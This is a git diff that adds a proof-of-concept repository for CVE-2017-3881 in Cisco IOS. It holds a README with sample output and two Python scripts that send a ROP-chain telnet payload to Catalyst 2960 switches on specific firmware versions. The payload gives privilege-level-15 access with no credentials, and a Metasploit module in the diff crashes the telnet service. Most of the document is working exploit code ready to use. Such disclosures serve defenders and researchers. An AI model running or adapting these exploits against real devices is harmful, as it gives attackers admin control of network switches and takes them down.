diff --git a/README.md b/README.md new file mode 100644 index 0000000..0759871 --- /dev/null +++ b/README.md @@ -0,0 +1,42 @@ +CVE-2017-3881 Cisco IOS remote code execution +=================== + + +This repository contains Proof-Of-Concept code for exploiting remote code execution vulnerability disclosed by Cisco Systems on March 17th 2017 - + + +Description +------------- + +RCE exploit code is available for Cisco Catalyst 2960 switch model. This exploit is firmware dependent. Two firmware versions are supported: + +- 12.2(55)SE1 C2960-LANBASEK9-M + +- 12.2(55)SE11 C2960-LANBASEK9-M + +Denial of service code is available as a metasploit ruby module. This should work for most of the switches mentioned in the Cisco advisory (confirmation needed). + +Usage example +------------- + +``` +$ python c2960-lanbasek9-m-12.2.55.se11 192.168.88.10 --set +[+] Connection OK +[+] Recieved bytes from telnet service: '\xff\xfb\x01\xff\xfb\x03\xff\xfd\x18\xff\xfd\x1f' +[+] Sending cluster option +[+] Setting credless privilege 15 authentication +[+] All done +$ telnet 192.168.88.10 +Trying 192.168.88.10... +Connected to 192.168.88.10. +Escape character is '^]'. + +catalyst1#show priv +Current privilege level is 15 +``` + + +Author +------ + +Artem Kondratenko https://twitter.com/artkond diff --git a/c2960-lanbasek9-m-12.2.55.se1.py b/c2960-lanbasek9-m-12.2.55.se1.py new file mode 100755 index 0000000..f2b2090 --- /dev/null +++ b/c2960-lanbasek9-m-12.2.55.se1.py @@ -0,0 +1,72 @@ +#!/usr/bin/python +# Author: +# Artem Kondratenko (@artkond) + +import socket +import sys +from time import sleep + +set_credless = True + +if len(sys.argv) < 3: + print sys.argv[0] + ' [host] --set/--unset' + sys.exit() +elif sys.argv[2] == '--unset': + set_credless = False +elif sys.argv[2] == '--set': + pass +else: + print sys.argv[0] + ' [host] --set/--unset' + sys.exit() + + +s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) +s.connect((sys.argv[1], 23)) + +print '[+] Connection OK' +print '[+] Recieved bytes from telnet service:', repr(s.recv(1024)) +#sleep(0.5) +print '[+] Sending cluster option' + +print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication' + + + +payload = '\xff\xfa\x24\x00' +payload += '\x03CISCO_KITS\x012:' +payload += 'A' * 116 +payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; +#next bytes are shown as offsets from r1 +payload += '\x02\x2c\x8b\x74' # +8 address of pointer to is_cluster_mode function - 0x34 +if set_credless is True: + payload += '\x00\x00\x99\x80' # +12 set address of func that rets 1 +else: + payload += '\x00\x04\xea\x58' # unset +payload += 'BBBB' # +16(+0) r1 points here at second gadget +payload += '\x00\xdf\xfb\xe8' # +4 second gadget address 0x00dffbe8: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; +payload += 'CCCC' # +8 +payload += 'DDDD' # +12 +payload += 'EEEE' # +16(+0) r1 points here at third gadget +payload += '\x00\x06\x78\x8c' # +20(+4) third gadget address. 0x0006788c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; +payload += '\x02\x2c\x8b\x60' # +8 r1+8 = 0x022c8b60 +payload += 'FFFF' # +12 +payload += 'GGGG' # +16(+0) r1 points here at fourth gadget +payload += '\x00\x6b\xa1\x28' # +20(+4) fourth gadget address 0x006ba128: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; +if set_credless: + payload += '\x00\x12\x52\x1c' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x0012521c: li r3, 0xf; blr; +else: + payload += '\x00\x04\xe6\xf0' # unset +payload += 'HHHH' # +12 +payload += 'IIII' # +16(+0) r1 points here at fifth gadget +payload += '\x01\x48\xe5\x60' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; +payload += 'JJJJ' # +8 r1 points here at third gadget +payload += 'KKKK' # +12 +payload += 'LLLL' # +16 +payload += '\x01\x13\x31\xa8' # +20 original execution flow return addr +payload += ':15:' + '\xff\xf0' + +s.send(payload) + +print '[+] All done' + +s.close() \ No newline at end of file diff --git a/c2960-lanbasek9-m-12.2.55.se11.py b/c2960-lanbasek9-m-12.2.55.se11.py new file mode 100644 index 0000000..b44b3b3 --- /dev/null +++ b/c2960-lanbasek9-m-12.2.55.se11.py @@ -0,0 +1,72 @@ +#!/usr/bin/python +# Author: +# Artem Kondratenko (@artkond) + +import socket +import sys +from time import sleep + +set_credless = True + +if len(sys.argv) < 3: + print sys.argv[0] + ' [host] --set/--unset' + sys.exit() +elif sys.argv[2] == '--unset': + set_credless = False +elif sys.argv[2] == '--set': + pass +else: + print sys.argv[0] + ' [host] --set/--unset' + sys.exit() + + +s = socket.socket( socket.AF_INET, socket.SOCK_STREAM) +s.connect((sys.argv[1], 23)) + +print '[+] Connection OK' +print '[+] Recieved bytes from telnet service:', repr(s.recv(1024)) +#sleep(0.5) +print '[+] Sending cluster option' + +print '[+] Setting credless privilege 15 authentication' if set_credless else '[+] Unsetting credless privilege 15 authentication' + + + +payload = '\xff\xfa\x24\x00' +payload += '\x03CISCO_KITS\x012:' +payload += 'A' * 116 +payload += '\x00\x00\x37\xb4' # first gadget address 0x000037b4: lwz r0, 0x14(r1); mtlr r0; lwz r30, 8(r1); lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; +#next bytes are shown as offsets from r1 +payload += '\x02\x3d\x55\xdc' # +8 address of pointer to is_cluster_mode function - 0x34 +if set_credless is True: + payload += '\x00\x00\x99\x9c' # +12 set address of func that rets 1 +else: + payload += '\x00\x04\xeA\xe0' # unset +payload += 'BBBB' # +16(+0) r1 points here at second gadget +payload += '\x00\xe1\xa9\xf4' # +4 second gadget address 0x00e1a9f4: stw r31, 0x138(r30); lwz r0, 0x1c(r1); mtlr r0; lmw r29, 0xc(r1); addi r1, r1, 0x18; blr; +payload += 'CCCC' # +8 +payload += 'DDDD' # +12 +payload += 'EEEE' # +16(+0) r1 points here at third gadget +payload += '\x00\x06\x7b\x5c' # +20(+4) third gadget address. 0x00067b5c: lwz r9, 8(r1); lwz r3, 0x2c(r9); lwz r0, 0x14(r1); mtlr r0; addi r1, r1, 0x10; blr; +payload += '\x02\x3d\x55\xc8' # +8 r1+8 = 0x23d55c8 +payload += 'FFFF' # +12 +payload += 'GGGG' # +16(+0) r1 points here at fourth gadget +payload += '\x00\x6c\xb3\xa0' # +20(+4) fourth gadget address 0x006cb3a0: lwz r31, 8(r1); lwz r30, 0xc(r1); addi r1, r1, 0x10; lwz r0, 4(r1); mtlr r0; blr; +if set_credless: + payload += '\x00\x27\x0b\x94' # +8 address of the replacing function that returns 15 (our desired privilege level). 0x00270b94: li r3, 0xf; blr; +else: + payload += '\x00\x04\xe7\x78' # unset +payload += 'HHHH' # +12 +payload += 'IIII' # +16(+0) r1 points here at fifth gadget +payload += '\x01\x4a\xcf\x98' # +20(+4) fifth gadget address 0x0148e560: stw r31, 0(r3); lwz r0, 0x14(r1); mtlr r0; lwz r31, 0xc(r1); addi r1, r1, 0x10; blr; +payload += 'JJJJ' # +8 r1 points here at third gadget +payload += 'KKKK' # +12 +payload += 'LLLL' # +16 +payload += '\x01\x14\xe7\xec' # +20 original execution flow return addr +payload += ':15:' + '\xff\xf0' + +s.send(payload) + +print '[+] All done' + +s.close() diff --git a/ios_telnet_rocem.rb b/ios_telnet_rocem.rb new file mode 100644 index 0000000..0d2daaf --- /dev/null +++ b/ios_telnet_rocem.rb @@ -0,0 +1,54 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + + +require 'msf/core' + + +class MetasploitModule < Msf::Auxiliary + + include Msf::Exploit::Remote::Tcp + include Msf::Auxiliary::Dos + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Cisco IOS Telnet Denial of Service', + 'Description' => %q{ + This module triggers a Denial of Service condition in the Cisco IOS + telnet service affecting multiple Cisco switches (https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20170317-cmp). Tested against Cisco Catalyst 2960. + }, + 'Author' => [ 'Artem Kondratenko' ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'BID', '96960'], + [ 'CVE', 'CVE-2017-3881'], + ], + 'DisclosureDate' => 'March 17 2017')) + + register_options( + [ + Opt::RPORT(23), + ], self.class) + + end + + def run + + connect + print_status("Connected to telnet service") + print_status("Got initial packet from telnet service: " + sock.gets.inspect) + print_status("Sending Telnet DoS packet") + sock.put("\xff\xfa\x24\x00\x03CISCO_KITS\x012:" + 'A' * 1000 + ":1:\xff\xf0") + disconnect + + rescue ::Rex::ConnectionRefused + print_status("Unable to connect to #{rhost}:#{rport}.") + rescue ::Errno::ECONNRESET + print_status("DoS packet successful. #{rhost} not responding.") + end + +end +